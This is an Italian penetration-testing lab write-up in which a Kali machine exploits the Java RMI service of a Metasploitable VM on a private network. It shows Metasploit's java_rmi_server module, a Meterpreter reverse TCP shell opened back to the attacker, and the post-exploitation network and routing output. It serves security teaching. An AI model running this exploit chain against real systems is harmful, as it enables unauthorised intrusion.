

## S7L5

### Obiettivo dell'esercizio

L'obiettivo è sfruttare una vulnerabilità presente su un servizio Java RMI esposto dalla macchina Metasploitable (192.168.11.112) attraverso l'uso di Metasploit. Una volta ottenuta una sessione Meterpreter sulla macchina vittima, verranno raccolte informazioni relative alla configurazione di rete e alla tabella di routing.

### Requisiti dell'esercizio

- La macchina attaccante (Kali) deve avere il seguente indirizzo IP: [192.168.11.111](#).
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: [192.168.11.112](#).

### 1. Configurazione iniziale delle macchine

#### Configurazione della rete su Kali Linux

```
(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:14:ae:9f brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::4d4d:8d3c:8854:b749/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data:
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=3.93 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=3.94 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=2.43 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=4.58 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=2.61 ms
^C
  192.168.11.112 ping statistics ---
  5 packets transmitted, 5 received, 0% packet loss, time 4010ms
 rtt min/avg/max/mdev = 2.434/3.500/4.584/0.834 ms
```

Nel primo screenshot viene configurata l'interfaccia di rete su Kali Linux con l'indirizzo IP [192.168.11.111](#) e successivamente viene verificata la connessione verso la macchina Metasploitable tramite il comando [ping](#).

**Risultato:** La connessione è attiva

### 2. Avvio di Metasploit

## Avvio di Metasploit

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the
makerc command

.:ok000kdc'          'cdk000ko:.
.x00000000000000c    c0000000000000x.
:000000000000000k,    ,k000000000000000:
'000000000k000000: :000000000000000000'
o00000000.MMMM.o0000o0000l.MMMM,00000000o
d00000000.MMMMMM.c00000c.MMMMMM,00000000x
l00000000.MMMMMMMMM;d;MMMMMMMMM,00000000l
.00000000.MMM.;MMMMMMMMMMMM,MMM,00000000.
c0000000.MMM.O0c.MMMM'o00.MMM,0000000c
o000000.MMM.O000.MMM:0000.MMM,000000o
l00000.MMM.O000.MMM:0000.MMM,00000l
;0000'MMM.O000.MMM:0000.MMM,0000;
.d00o'WM.O000o0000x0000.MX'x00d.
,kOl'M.O000000000000.M'dOk,
:kk;.0000000000000.;Ok:
;k000000000000000k:
,x000000000000x,
repository? .l0000000l.
,d0d,
.

+ -- ==[ metasploit v6.4.38-dev ]
+ -- ==[ 2467 exploits - 1270 auxiliary - 431 post ]
+ -- ==[ 1478 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```

Nel secondo screenshot viene avviato Metasploit Framework tramite il comando [msfconsole](#). Questo è l'ambiente principale in cui verranno configurati gli exploit e i payload per sfruttare la vulnerabilità.

## 3. Ricerca dell'exploit

### Ricerca dell'exploit per Java RMI

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -
0  auxiliary/gather/java_rmi_registry      .               normal  No     Java RMI Registry Interfac
es Enumeration
1  exploit/multi/misc/java_rmi_server      2011-10-15     excellent Yes    Java RMI Server Insecure D
efault Configuration Java Code Execution
2  \_ target: Generic (Java Payload)       .               .       .      .
3  \_ target: Windows x86 (Native Payload) .               .       .      .
4  \_ target: Linux x86 (Native Payload)   .               .       .      .
5  \_ target: Mac OS X PPC (Native Payload) .               .       .      .
6  \_ target: Mac OS X x86 (Native Payload) .               .       .      .
7  auxiliary/scanner/misc/java_rmi_server  2011-10-15     normal  No     Java RMI Server Insecure E
ndpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No     Java RMIConnectionImpl Des
erialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection
_impl
```

Nel terzo screenshot viene effettuata la ricerca di exploit correlati a Java RMI tramite il comando [search java\\_rmi](#). L'exploit identificato è [exploit/multi/misc/java\\_rmi\\_server](#), che verrà utilizzato per sfruttare la vulnerabilità.

#### 4. Configurazione dell'exploit

##### Configurazione dell'exploit selezionato

```
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    0.0.0.0          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   Path to a custom SSL certificate (default is randomly generated)
  URIPATH   The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
```

In questo screenshot viene selezionato l'exploit tramite il comando "scorciatoia" [use 1](#) (ovvero il numero della riga corrispondente all' exploit interessato) e configurato con i parametri richiesti:

- [RHOST](#): 192.168.11.112 (IP della macchina vittima)

In quanto: - "[LHOST](#)" ed "[RPORT](#)" erano già inseriti correttamente di default

- "[payload](#)" era già corretto di default([java/meterpreter/reverse\\_tcp](#))

#### 5. Esecuzione dell'exploit

## Esecuzione dell'exploit e ottenimento di una sessione Meterpreter

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Mbp1RvGYI4Qm
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:53194) at 2024-12-20 11:58:11 +0100

meterpreter > █
```

In questo screenshot viene eseguito il comando [exploit](#). L'exploit ha successo e viene stabilita una sessione Meterpreter con la macchina vittima.

## 6. Raccolta delle evidenze

### Configurazione di rete della macchina vittima

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe70:c8a8
IPv6 Netmask : ::
```

Utilizzando Meterpreter, il comando [ifconfig](#) mostra i dettagli della configurazione di rete della macchina vittima. Vengono evidenziati:

- Interfaccia di rete [eth0](#).
- Indirizzo IP: [192.168.11.112](#)
- Maschera di sottorete: [255.255.255.0](#)

## Tabella di routing della macchina vittima

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe70:c8a8	::	::		

Sempre tramite Meterpreter, il comando [route](#) rivela la tabella di routing della macchina vittima, mostrando i percorsi configurati per IPv4 e IPv6.

## Risultati ottenuti

### Configurazione di rete della macchina vittima:

- Indirizzo IP: 192.168.11.112
- Maschera di sottorete: 255.255.255.0

### Tabella di routing:

- IPv4: Percorso per 192.168.11.112 con gateway predefinito.
- IPv6: Configurazione standard.